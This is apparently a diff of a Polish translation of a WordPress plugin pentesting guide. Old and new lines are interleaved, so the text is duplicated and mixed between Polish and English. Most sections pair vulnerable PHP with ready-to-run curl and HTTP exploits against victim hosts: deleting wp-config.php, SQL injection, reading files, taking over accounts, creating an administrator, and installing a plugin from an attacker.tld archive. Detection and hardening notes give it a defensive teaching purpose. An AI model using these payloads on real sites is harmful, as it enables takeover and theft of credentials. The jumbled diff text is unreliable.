| * **Brak sanityzacji ścieżki** – ciąg kontrolowany przez użytkownika `fontfamily` jest konkatenowany do ścieżki systemu plików bez filtrowania, umożliwiając klasyczne przejście `../../`. | ||||
| 
 | ||||
| #### Eksploatacja | ||||
| 
 | ||||
| Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (zazwyczaj `<wp-root>/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST: | ||||
| Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST: | ||||
| ```bash | ||||
| curl -X POST https://victim.com/wp-admin/admin-ajax.php \ | ||||
| -d 'action=litho_remove_font_family_action_data' \ | ||||
| -d 'fontfamily=../../../../wp-config.php' | ||||
| ``` | ||||
| Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą w domyślnej instalacji. Usunięcie `wp-config.php` wymusza na WordPress uruchomienie *kreatora instalacji* przy następnej wizycie, umożliwiając pełne przejęcie serwisu (atakujący jedynie dostarcza nową konfigurację DB i tworzy konto admina). | ||||
| Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation.  Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). | ||||
| 
 | ||||
| Inne istotne cele to pliki `.php` w pluginach/motywach (aby złamać security plugins) lub reguły `.htaccess`. | ||||
| Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. | ||||
| 
 | ||||
| #### Lista kontrolna wykrywania | ||||
| #### Detection checklist | ||||
| 
 | ||||
| * Każde wywołanie zwrotne `add_action( 'wp_ajax_nopriv_...')`, które wywołuje helpery systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itp.). | ||||
| * Łączenie niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`). | ||||
| * Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`. | ||||
| * Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). | ||||
| * Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`). | ||||
| * Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### Eskalacja uprawnień przez przywracanie przestarzałych ról i brak autoryzacji (ASE "View Admin as Role") | ||||
| ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") | ||||
| 
 | ||||
| Wiele pluginów implementuje funkcję "view as role" lub tymczasowej zmiany roli poprzez zapisanie oryginalnej(ych) roli(i) w user meta, aby móc je przywrócić później. Jeśli ścieżka przywracania opiera się jedynie na parametrach żądania (np. `$_REQUEST['reset-for']`) i liście utrzymywanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, staje się to wertykalną eskalacją uprawnień. | ||||
| Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. | ||||
| 
 | ||||
| Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()` ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`: | ||||
| A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`: | ||||
| ```php | ||||
| // Simplified vulnerable pattern | ||||
| if ( isset( $_REQUEST['reset-for'] ) ) { | ||||
| @ -479,13 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Dlaczego jest to eksploatowalne | ||||
| Dlaczego jest to podatne | ||||
| 
 | ||||
| - Polega na zaufaniu do `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera. | ||||
| - Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, odwiedzając ścieżkę resetu. | ||||
| - Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, przechodząc na ścieżkę resetu. | ||||
| - W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika nadal obecnej w `viewing_admin_as_role_are` (błędna autoryzacja). | ||||
| 
 | ||||
| Exploitation (example) | ||||
| Eksploatacja (przykład) | ||||
| ```bash | ||||
| # While logged in as the downgraded user (or any auth user able to trigger the code path), | ||||
| # hit any route that executes the role-switcher logic and include the reset parameter. | ||||
| @ -493,23 +493,23 @@ Exploitation (example) | ||||
| curl -s -k -b 'wordpress_logged_in=...' \ | ||||
| 'https://victim.example/wp-admin/?reset-for=<your_username>' | ||||
| ``` | ||||
| W podatnych buildach usuwa to bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia. | ||||
| W podatnych wersjach usuwa to bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), efektywnie eskalując uprawnienia. | ||||
| 
 | ||||
| Detection checklist | ||||
| 
 | ||||
| - Szukaj funkcji przełączania ról, które zapisują „original roles” w user meta (np. `_asenha_view_admin_as_original_roles`). | ||||
| - Szukaj funkcji przełączania ról, które przechowują “oryginalne role” w user meta (np. `_asenha_view_admin_as_original_roles`). | ||||
| - Zidentyfikuj ścieżki reset/restore, które: | ||||
| - Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`. | ||||
| - Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` oraz `wp_verify_nonce()` / `check_admin_referer()`. | ||||
| - Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień aktora. | ||||
| - Modyfikują role przez `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`. | ||||
| - Autoryzują na podstawie opcji pluginu (np. `viewing_admin_as_role_are`) zamiast uprawnień aktora. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### Nieautoryzowana eskalacja uprawnień przez przełączanie użytkownika oparte na zaufanym ciasteczku na publicznym init (Service Finder “sf-booking”) | ||||
| ### Eskalacja uprawnień bez uwierzytelnienia przez przełączanie użytkownika polegające na zaufaniu do cookie na publicznym hooku `init` (Service Finder “sf-booking”) | ||||
| 
 | ||||
| Niektóre wtyczki podpinają helpery do user-switching pod publiczny hook `init` i pobierają tożsamość z ciasteczka kontrolowanego przez klienta. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, uprawnień i ważnego nonce, każdy nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika. | ||||
| Niektóre pluginy podłączają pomocniki przełączania użytkownika do publicznego hooka `init` i odczytują tożsamość z cookie kontrolowanego przez klienta. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, uprawnień i ważnego nonce, dowolny niezalogowany odwiedzający może wymusić logowanie jako dowolny identyfikator użytkownika. | ||||
| 
 | ||||
| Typowy podatny wzorzec (uproszczone z Service Finder Bookings ≤ 6.1): | ||||
| Typowy podatny wzorzec (uproszczony z Service Finder Bookings ≤ 6.1): | ||||
| ```php | ||||
| function service_finder_submit_user_form(){ | ||||
| if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { | ||||
| @ -538,11 +538,11 @@ wp_die('Original user not found.'); | ||||
| wp_die('No original user found to switch back to.'); | ||||
| } | ||||
| ``` | ||||
| Dlaczego jest to podatne | ||||
| Dlaczego jest podatne | ||||
| 
 | ||||
| - Publiczny hook `init` sprawia, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`). | ||||
| - Tożsamość jest odczytywana z cookie modyfikowalnego po stronie klienta (`original_user_id`). | ||||
| - Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez jakichkolwiek sprawdzeń capability/nonce. | ||||
| - Tożsamość pochodzi z ciasteczka modyfikowalnego po stronie klienta (`original_user_id`). | ||||
| - Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje osobę wysyłającą żądanie jako tego użytkownika bez żadnych sprawdzeń uprawnień ani nonce. | ||||
| 
 | ||||
| Eksploatacja (bez uwierzytelnienia) | ||||
| ```http | ||||
| @ -554,26 +554,26 @@ Connection: close | ||||
| ``` | ||||
| --- | ||||
| 
 | ||||
| ### WAF considerations for WordPress/plugin CVEs | ||||
| ### Rozważania dotyczące WAF dla WordPress/plugin CVEs | ||||
| 
 | ||||
| Ogólne WAFy brzegowe/serwerowe są nastawione na wykrywanie szerokich wzorców (SQLi, XSS, LFI). Wiele wysokiego ryzyka luk w WordPress i wtyczkach to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę wtyczek. | ||||
| Ogólne WAFy brzegowe/serwerowe są skonfigurowane pod kątem szerokich wzorców (SQLi, XSS, LFI). Wiele wysokowpływowych luk WordPress/plugin to błędy logiki/specyfiki aplikacji i autoryzacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów. | ||||
| 
 | ||||
| Offensive notes | ||||
| 
 | ||||
| - Celuj w endpointy specyficzne dla wtyczek przy użyciu czystych payloadów: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes. | ||||
| - Najpierw testuj ścieżki nieautoryzowane (AJAX `nopriv`, REST z liberalnym `permission_callback`, public shortcodes). Domyślne payloady często działają bez obfuskacji. | ||||
| - Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), dowolne przesyłanie/pobieranie plików, LFI, open redirect. | ||||
| - Celuj w endpointy specyficzne dla pluginów z czystymi payloadami: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes. | ||||
| - Sprawdź najpierw ścieżki nieautoryzowane (AJAX `nopriv`, REST z permisywnym `permission_callback`, public shortcodes). Domyślne payloady często działają bez obfuskacji. | ||||
| - Typowe przypadki o wysokim wpływie: eskalacja uprawnień (zepsuta kontrola dostępu), dowolne przesyłanie/pobieranie plików, LFI, open redirect. | ||||
| 
 | ||||
| Defensive notes | ||||
| 
 | ||||
| - Nie polegaj na ogólnych sygnaturach WAF, aby chronić CVE dotyczące wtyczek. Wdroż wirtualne poprawki specyficzne dla podatności na warstwie aplikacji lub zaktualizuj szybko. | ||||
| - Preferuj mechanizmy pozytywnej ochrony w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex. | ||||
| - Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Zaimplementuj łatki wirtualne specyficzne dla podatności na warstwie aplikacji lub szybko aktualizuj. | ||||
| - Preferuj podejście pozytywnej polityki bezpieczeństwa w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex. | ||||
| 
 | ||||
| ## Ochrona WordPress | ||||
| ## WordPress Protection | ||||
| 
 | ||||
| ### Regularne aktualizacje | ||||
| ### Regular Updates | ||||
| 
 | ||||
| Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php: | ||||
| Upewnij się, że WordPress, pluginy i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php: | ||||
| ```bash | ||||
| define( 'WP_AUTO_UPDATE_CORE', true ); | ||||
| add_filter( 'auto_update_plugin', '__return_true' ); | ||||
| @ -596,9 +596,9 @@ Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**. | ||||
| - Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP. | ||||
| 
 | ||||
| 
 | ||||
| ### Nieuwierzytelniony SQL Injection z powodu niewystarczającej walidacji (WP Job Portal <= 2.3.2) | ||||
| ### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) | ||||
| 
 | ||||
| Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`: | ||||
| The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`: | ||||
| ```php | ||||
| $category  = WPJOBPORTALrequest::getVar('parentid'); | ||||
| $inquery   = ' '; | ||||
| @ -610,9 +610,9 @@ $query  = "SELECT max(ordering)+1 AS maxordering FROM " | ||||
| ``` | ||||
| Problemy wprowadzone przez ten fragment: | ||||
| 
 | ||||
| 1. **Unsanitised user input** – `parentid` pochodzi bezpośrednio z żądania HTTP. | ||||
| 2. **String concatenation inside the WHERE clause** – brak użycia `is_numeric()` / `esc_sql()` / prepared statement. | ||||
| 3. **Unauthenticated reachability** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyną kontrolą jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przy pomocy shortcode `[wpjobportal_my_resumes]`. | ||||
| 1. **Niesanitizowane dane wejściowe użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP. | ||||
| 2. **Łączenie łańcuchów znaków w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / prepared statement. | ||||
| 3. **Dostęp bez uwierzytelnienia** – chociaż akcja wykonywana jest przez `admin-post.php`, jedyna kontrola to **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode `[wpjobportal_my_resumes]`. | ||||
| 
 | ||||
| #### Wykorzystanie | ||||
| 
 | ||||
| @ -620,7 +620,7 @@ Problemy wprowadzone przez ten fragment: | ||||
| ```bash | ||||
| curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 | ||||
| ``` | ||||
| 2. Wstrzyknięcie dowolnego zapytania SQL przez nadużycie `parentid`: | ||||
| 2. Wstrzyknij dowolne zapytanie SQL, wykorzystując `parentid`: | ||||
| ```bash | ||||
| curl -X POST https://victim.com/wp-admin/admin-post.php \ | ||||
| -d 'task=savecategory' \ | ||||
| @ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ | ||||
| -d 'parentid=0 OR 1=1-- -' \ | ||||
| -d 'cat_title=pwn' -d 'id=' | ||||
| ``` | ||||
| Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi. | ||||
| Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, co potwierdza SQLi. | ||||
| 
 | ||||
| 
 | ||||
| ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) | ||||
| ### Nieautoryzowane pobieranie dowolnych plików / Path Traversal (WP Job Portal <= 2.3.2) | ||||
| 
 | ||||
| Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobrać **dowolny plik na dysku** poprzez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`: | ||||
| Inna akcja, **downloadcustomfile**, pozwalała odwiedzającym pobrać **dowolny plik z dysku** poprzez path traversal. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`: | ||||
| ```php | ||||
| $file = $path . '/' . $file_name; | ||||
| ... | ||||
| echo $wp_filesystem->get_contents($file); // raw file output | ||||
| ``` | ||||
| `$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanitacji**. Ponownie, jedyną barierą jest **CSRF nonce**, który można pobrać ze strony z CV. | ||||
| `$file_name` jest kontrolowany przez atakującego i konkatenowany **bez filtrowania**.  Ponownie, jedyną przeszkodą jest **CSRF nonce**, który można pobrać ze strony CV. | ||||
| 
 | ||||
| #### Exploitation | ||||
| ```bash | ||||
| @ -652,11 +652,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \ | ||||
| ``` | ||||
| Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys. | ||||
| 
 | ||||
| ## Nieautoryzowane przejęcie konta przez Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) | ||||
| ## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) | ||||
| 
 | ||||
| Wiele motywów/pluginów dostarcza "social login" helpery wystawione przez admin-ajax.php. Jeśli nieautoryzowana akcja AJAX (wp_ajax_nopriv_...) ufa identyfikatorom dostarczonym przez klienta, gdy brakuje danych providera, a następnie wywołuje wp_set_auth_cookie(), to staje się to pełnym obejściem uwierzytelniania. | ||||
| Wiele motywów/wtyczek dostarcza helpery "social login" udostępnione przez admin-ajax.php. Jeśli nieuwierzytelniona akcja AJAX (wp_ajax_nopriv_...) ufa identyfikatorom przesłanym przez klienta, gdy brak danych providera, a następnie wywołuje wp_set_auth_cookie(), to staje się to pełnym obejściem uwierzytelniania. | ||||
| 
 | ||||
| Typowy błędny schemat (uproszczony) | ||||
| Typowy wadliwy wzorzec (uproszczony) | ||||
| ```php | ||||
| public function check_login() { | ||||
| // ... request parsing ... | ||||
| @ -685,17 +685,17 @@ wp_send_json(['status' => 'not_user']); | ||||
| } | ||||
| // add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']); | ||||
| ``` | ||||
| Dlaczego to jest eksploatowalne | ||||
| Dlaczego jest to podatne | ||||
| 
 | ||||
| - Dostęp bez uwierzytelnienia przez admin-ajax.php (akcja wp_ajax_nopriv_…). | ||||
| - Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action). | ||||
| - Brak sprawdzeń nonce/capability przed zmianą stanu. | ||||
| - Brak weryfikacji dostawcy OAuth/OpenID; gałąź domyślna akceptuje dane od atakującego. | ||||
| - get_user_by('email', $_POST['id']) z następującym wp_set_auth_cookie($uid) uwierzytelnia żądającego jako dowolny istniejący adres e-mail. | ||||
| - Brak weryfikacji OAuth/OpenID provider; gałąź domyślna akceptuje dane wejściowe od attacker. | ||||
| - get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) powoduje uwierzytelnienie requestera jako dowolny istniejący adres e-mail. | ||||
| 
 | ||||
| Eksploatacja (bez uwierzytelnienia) | ||||
| Wykorzystanie (unauthenticated) | ||||
| 
 | ||||
| - Wymagania wstępne: atakujący może osiągnąć /wp-admin/admin-ajax.php i zna/zgaduje poprawny adres e-mail użytkownika. | ||||
| - Ustaw provider na nieobsługiwaną wartość (lub pomiń go), aby trafić do gałęzi domyślnej i przekazać id=<victim_email>. | ||||
| - Wymagania wstępne: attacker może dotrzeć do /wp-admin/admin-ajax.php i zna/zgaduje prawidłowy adres e-mail użytkownika. | ||||
| - Ustaw provider na nieobsługiwaną wartość (lub pomiń go), by trafić do gałęzi domyślnej i przekazać id=<victim_email>. | ||||
| ```http | ||||
| POST /wp-admin/admin-ajax.php HTTP/1.1 | ||||
| Host: victim.tld | ||||
| @ -708,39 +708,39 @@ action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com | ||||
| curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ | ||||
| -d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com" | ||||
| ``` | ||||
| Expected success indicators | ||||
| Oczekiwane wskaźniki powodzenia | ||||
| 
 | ||||
| - HTTP 200 z ciałem JSON takim jak {"status":"success","message":"Login successfully."}. | ||||
| - Set-Cookie: wordpress_logged_in_* dla ofiary; kolejne żądania są uwierzytelnione. | ||||
| - HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. | ||||
| - Set-Cookie: wordpress_logged_in_* dla zaatakowanego użytkownika; kolejne żądania są uwierzytelnione. | ||||
| 
 | ||||
| Finding the action name | ||||
| Znajdowanie nazwy akcji | ||||
| 
 | ||||
| - Sprawdź motyw/wtyczkę pod kątem rejestracji add_action('wp_ajax_nopriv_...', '...') w kodzie social login (np. framework/add-ons/social-login/class-social-login.php). | ||||
| - Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. | ||||
| - Przeanalizuj motyw/plugin pod kątem rejestracji add_action('wp_ajax_nopriv_...', '...') w kodzie social login (np. framework/add-ons/social-login/class-social-login.php). | ||||
| - Przeszukaj (grep) wystąpienia wp_set_auth_cookie(), get_user_by('email', ...) w handlerach AJAX. | ||||
| 
 | ||||
| Detection checklist | ||||
| Lista kontrolna wykrywania | ||||
| 
 | ||||
| - Logi serwera pokazujące niezautoryzowane żądania POST do /wp-admin/admin-ajax.php z akcją social-login i id=<email>. | ||||
| - Odpowiedzi 200 z JSON-em sukcesu bezpośrednio poprzedzające uwierzytelniony ruch z tego samego IP/User-Agent. | ||||
| - Logi webowe pokazujące nieautoryzowane POSTy do /wp-admin/admin-ajax.php z akcją social-login i id=<email>. | ||||
| - Odpowiedzi 200 z JSONem powodzenia bezpośrednio poprzedzające uwierzytelniony ruch z tego samego IP/User-Agent. | ||||
| 
 | ||||
| Hardening | ||||
| Wzmocnienie zabezpieczeń | ||||
| 
 | ||||
| - Nie wyprowadzaj tożsamości na podstawie danych przesłanych przez klienta. Akceptuj tylko adresy e-mail/ID pochodzące z zatwierdzonego tokena/ID dostawcy. | ||||
| - Wymagaj nonce CSRF i sprawdzeń uprawnień nawet dla helperów logowania; unikaj rejestrowania wp_ajax_nopriv_ chyba że jest to absolutnie konieczne. | ||||
| - Waliduj i weryfikuj odpowiedzi OAuth/OIDC po stronie serwera; odrzucaj brakujących/nieprawidłowych dostawców (bez fallbacku do POST id). | ||||
| - Rozważ tymczasowe wyłączenie social login lub wirtualne załatanie na edge (zablokowanie podatnej akcji) do czasu naprawy. | ||||
| - Nie wyprowadzaj tożsamości z danych od klienta. Akceptuj tylko adresy e-mail/ID pochodzące z zweryfikowanego provider token/ID. | ||||
| - Wymagaj CSRF nonces i sprawdzeń uprawnień nawet dla helperów logowania; unikaj rejestrowania wp_ajax_nopriv_ chyba że absolutnie konieczne. | ||||
| - Weryfikuj odpowiedzi OAuth/OIDC po stronie serwera; odrzucaj brakujących/nieprawidłowych providerów (bez fallbacku do POST id). | ||||
| - Rozważ tymczasowe wyłączenie social login lub wirtualne załatanie na krawędzi (zablokowanie podatnej akcji) do czasu naprawy. | ||||
| 
 | ||||
| Patched behaviour (Jobmonster 4.8.0) | ||||
| Zachowanie po łacie (Jobmonster 4.8.0) | ||||
| 
 | ||||
| - Usunięto niebezpieczny fallback oparty na $_POST['id']; $user_email musi pochodzić z gałęzi zweryfikowanego dostawcy w switch($_POST['using']). | ||||
| - Usunięto niebezpieczny fallback z $_POST['id']; $user_email musi pochodzić z zweryfikowanych gałęzi provider w switch($_POST['using']). | ||||
| 
 | ||||
| ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) | ||||
| ## Nieautoryzowana eskalacja uprawnień przez wydawanie REST token/key na przewidywalnej tożsamości (OttoKit/SureTriggers ≤ 1.0.82) | ||||
| 
 | ||||
| Niektóre wtyczki udostępniają endpointy REST, które tworzą wielokrotnego użytku “connection keys” lub tokeny bez weryfikacji uprawnień wywołującego. Jeśli trasa autoryzuje się jedynie na podstawie odgadniętego atrybutu (np. username) i nie wiąże klucza z użytkownikiem/sesją poprzez sprawdzenia uprawnień, każdy niezalogowany atakujący może wygenerować klucz i wywołać uprzywilejowane akcje (utworzenie konta admina, akcje wtyczki → RCE). | ||||
| Niektóre wtyczki udostępniają REST endpoints, które wydają wielokrotnego użytku “connection keys” lub tokeny bez weryfikacji uprawnień wywołującego. Jeśli route uwierzytelnia się jedynie na podstawie łatwego do odgadnięcia atrybutu (np. username) i nie powiązuje klucza z użytkownikiem/sesją poprzez sprawdzenia uprawnień, dowolny nieautoryzowany atakujący może wygenerować klucz i wywołać uprzywilejowane akcje (utworzenie konta admin, akcje wtyczki → RCE). | ||||
| 
 | ||||
| - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection | ||||
| - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback | ||||
| - Impact: full takeover by chaining the minted key to internal privileged actions | ||||
| - Podatna ścieżka (przykład): sure-triggers/v1/connection/create-wp-connection | ||||
| - Błąd: akceptuje username, wydaje connection key bez current_user_can() lub rygorystycznej permission_callback | ||||
| - Wpływ: pełne przejęcie poprzez powiązanie wygenerowanego klucza z wewnętrznymi uprzywilejowanymi akcjami | ||||
| 
 | ||||
| PoC – wygeneruj connection key i użyj go | ||||
| ```bash | ||||
| @ -757,24 +757,24 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ | ||||
| --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' | ||||
| ``` | ||||
| Dlaczego to jest podatne | ||||
| - Wrażliwa ścieżka REST chroniona jedynie przez dowód tożsamości o niskiej entropii (username) lub brakujący permission_callback | ||||
| - Brak egzekwowania capability; wygenerowany klucz jest akceptowany jako uniwersalny bypass | ||||
| - Wrażliwa REST route chroniona wyłącznie niską entropią potwierdzenia tożsamości (username) lub brakiem permission_callback | ||||
| - Brak egzekwowania capability; wygenerowany klucz jest akceptowany jako uniwersalne obejście | ||||
| 
 | ||||
| Lista kontrolna wykrywania | ||||
| - Grep w kodzie wtyczki w poszukiwaniu register_rest_route(..., [ 'permission_callback' => '__return_true' ]) | ||||
| - Każda ścieżka, która wydaje tokeny/klucze na podstawie tożsamości dostarczonej w żądaniu (username/email) bez powiązania z uwierzytelnionym użytkownikiem lub capability | ||||
| - Szukaj kolejnych ścieżek, które akceptują wygenerowany token/klucz bez serwerowego sprawdzenia capability | ||||
| - Przeszukaj kod pluginu pod kątem register_rest_route(..., [ 'permission_callback' => '__return_true' ]) | ||||
| - Każda route, która wydaje tokens/keys na podstawie tożsamości podanej w żądaniu (username/email) bez powiązania z uwierzytelnionym użytkownikiem lub capability | ||||
| - Szukaj kolejnych route, które akceptują wygenerowany token/key bez sprawdzeń capability po stronie serwera | ||||
| 
 | ||||
| Wzmocnienie | ||||
| - Dla każdej uprzywilejowanej ścieżki REST: wymagaj permission_callback, który egzekwuje current_user_can() dla wymaganej capability | ||||
| - Nie twórz długowiecznych kluczy na podstawie tożsamości dostarczonej przez klienta; jeśli to konieczne, wydawaj krótkotrwałe, powiązane z użytkownikiem tokeny po uwierzytelnieniu i ponownie sprawdzaj capability podczas użycia | ||||
| - Zwaliduj kontekst użytkownika wywołującego (wp_set_current_user nie jest wystarczające samo w sobie) i odrzucaj żądania, gdzie !is_user_logged_in() || !current_user_can(<cap>) | ||||
| - Dla każdej uprzywilejowanej REST route: wymagaj permission_callback, który wymusza current_user_can() dla wymaganej capability | ||||
| - Nie generuj długotrwałych kluczy na podstawie tożsamości dostarczonej przez klienta; jeśli konieczne, wydawaj krótkotrwałe, powiązane z użytkownikiem tokeny po uwierzytelnieniu i ponownie sprawdzaj capability przy użyciu | ||||
| - Waliduj kontekst użytkownika wywołującego (wp_set_current_user nie jest wystarczające samo w sobie) i odrzucaj żądania, gdzie !is_user_logged_in() || !current_user_can(<cap>) | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) | ||||
| ## Nonce gate misuse → instalacja dowolnego pluginu bez uwierzytelnienia (FunnelKit Automations ≤ 3.5.3) | ||||
| 
 | ||||
| Nonces zapobiegają CSRF, nie autoryzacji. Jeśli kod traktuje pozytywne przejście nonce jako zielone światło i następnie pomija sprawdzenia capability dla operacji uprzywilejowanych (np. install/activate plugins), niezalogowani atakujący mogą spełnić słabe wymaganie nonce i osiągnąć RCE przez zainstalowanie backdoored or vulnerable plugin. | ||||
| Nonces zapobiegają CSRF, nie autoryzacji. Jeśli kod traktuje pomyślne sprawdzenie nonce jako zielone światło i pomija sprawdzenia capability dla uprzywilejowanych operacji (np. install/activate plugins), nieuwierzytelnieni atakujący mogą spełnić słabe wymaganie nonce i osiągnąć RCE przez zainstalowanie backdoored lub vulnerable plugin. | ||||
| 
 | ||||
| - Vulnerable path: plugin/install_and_activate | ||||
| - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” | ||||
| @ -786,24 +786,24 @@ curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_ | ||||
| -H 'Content-Type: application/json' \ | ||||
| --data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' | ||||
| ``` | ||||
| Detection checklist | ||||
| - REST/AJAX handlers modyfikujące wtyczki/motywy używające jedynie wp_verify_nonce()/check_admin_referer() i bez sprawdzenia uprawnień | ||||
| Lista kontrolna wykrywania | ||||
| - REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check | ||||
| - Każda ścieżka kodu, która ustawia $skip_caps = true po walidacji nonce | ||||
| 
 | ||||
| Hardening | ||||
